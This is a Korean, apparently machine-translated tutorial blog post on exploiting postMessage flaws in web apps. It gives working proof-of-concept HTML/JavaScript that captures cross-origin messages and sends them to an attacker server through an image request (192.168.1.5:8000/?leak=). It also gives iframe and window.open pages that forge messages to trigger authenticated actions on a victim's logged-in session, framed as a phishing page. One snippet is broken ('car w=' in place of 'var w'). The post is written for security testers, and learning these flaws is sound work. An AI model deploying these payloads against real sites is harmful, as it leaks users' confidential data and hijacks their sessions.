postMessage 취약점을 발견하고 악용하는 방법은 무엇입니까?

식구들 모두 잘 지내고 이 시간을 자기계발과 자기반성에 효율적으로 사용할 수 있기를 바랍니다. 이 코로나 바이러스 전염병은 솔직히 말해서 약간 피곤해졌고 우리를 최대한 활용합니다.

다음은 웹앱이나 모바일 앱을 확인할 때 종종 간과되는 버그를 이해하는 데 도움을 주려는 시도입니다. 경험이 많든 적든 모든 테스터에게 금광이 됩니다.

전제 조건: 사이트는 쿠키에 의존해야 합니다.

CASE 1, 모든 오리진에 메시지 전송

먼저 postMessage에 대해 조금 살펴보겠습니다. mozilla 문서에 설명된 대로 구문은 상당히 간단합니다.
postMessage(message, targetOrigin, [transfer]);
그러나 문제는 대상 출처가 모든 곳에서 * 일명으로 설정되거나 xyz.com이라고 말할 수 있지만 부적절한 구현으로 인해 xyz.computer.com과 같은 도메인을 생성하여 이를 우회할 수 있는 경우에 발생합니다. 이미 짐작하셨겠지만 데이터가 동일한 출처(원본 도메인)로 제한되지 않으므로 이론상 유출될 수 있습니다.
이를 달성할 수 있는 방법을 자세히 살펴보겠습니다.

<script>
window.addEventListener("message", function(event){
document.write("<img src='http://192.168.1.5:8000/?leak="+event.data.value+"'></img>");
}, false);
window.open("vulnerable page leaking data");
</script>


나는 이것이 언뜻보기에 다소 혼란스러워 보일 것이라는 것을 알고 있지만 나와 함께 있으십시오.

메시지가 모든 출처로 전송되고 있기 때문에 우리는 메시지를 포착할 수 있어야 합니다. 그래서 우리는 이벤트 리스너가 있는 악의적인 html 페이지를 만들었습니다. 기본적으로 포스트 메시지로 전송된 모든 데이터를 포착하는 일종의 포수입니다.

세 번째 줄 document.write는 이미지 태그를 사용하여 중요한 데이터를 유출하는 고전적인 것입니다. 우리가 한 일은 컴퓨터에 로컬 서버를 만들고(http Simpleserver python 작동) src our_pc_ip(공용 IP가 필요함):port_number?leak=confidential_data에 img를 작성하여 포착한 이 데이터를 PC로 전송한 것입니다.

4번째 줄은 기본적으로 취약한 페이지를 열어서 postMessage 데이터를 모든 원본으로 보내고 우리 스크립트는 데이터가 전송되는 즉시 이를 포착합니다.

따라서 기본적으로 이 페이지는 호스팅되고 피해자는 페이지를 열면 피싱됩니다. 페이지가 쿠키에 의존하기 때문에 페이지를 열자마자 로그인한 인증으로 사이트가 열리므로 해당 사용자에게 기밀 데이터가 유출됩니다.

CASE 2, 사이트는 모든 출처의 메시지를 수신합니다.

그러나 이벤트 리스너가 출처에 관계없이 모든 메시지를 수신하는 경우에는 어떻게 됩니까? 이 경우 메시지를 위조하여 사용자에게 보낼 수 있습니다(자체 xss에서 문서 공유와 같은 인증된 작업에 이르기까지 다양함).

<html>
<head>
<script>
function hack(){
setTimeout(function(){document.getElementById("i").contentWindow.postMessage('The_message','*');},2000);
};
</script>
</head>
<body>
  <iframe id="i" src="vulnerable page"></iframe>
<script>hack();</script>
</body>
</html>


여기서 우리가 한 것은 악의적인 html 페이지를 만들었지만 이번에는 iframe에서 페이지를 열고 기본 페이지를 사용하여 origin *(기본적으로 쉽게 악용할 수 있도록 모든 대상에) 메시지를 보냅니다. 취약한 페이지의 eventListener는 메시지를 받고 원본이 제대로 필터링되지 않았으므로 명령을 실행하고 작업을 허용합니다.

여기서 2000은 2초를 의미하며 스크립트가 실행되기 전에 페이지가 제대로 로드될 때까지 기다립니다.

그것을 찾는 방법?

취약점을 확인하기 위해 postMessage 기능을 찾는 데 많은 노력을 기울이지 않고 모든 페이지에서 모든 js를 검색할 수는 없습니다. 쉬운 방법은 chromedev 도구를 사용하는 것입니다. 페이지를 검사하고 이벤트 리스너로 이동하기만 하면 됩니다.



이벤트 리스너 아래에서 메시지를 명확하게 보고 찾을 수 있으므로 취약점을 확인할 수 있습니다.

X-FRAME을 사용하고 IFRAME을 사용할 수 없는 경우 어떻게 합니까?

다행스럽게도 이를 우회할 수 있는 방법이 있습니다. 자바스크립트를 완전히 사용하여 페이지를 로드할 수 있습니다.

<html>
<body>
<script>
car w=window.open("url here","hack")
setTimeout(function(){w.postMessage('text here','*');},2000);
</script>
</body>
</html>


즐겁게 읽으셨기를 바랍니다!

좋은 웹페이지 즐겨찾기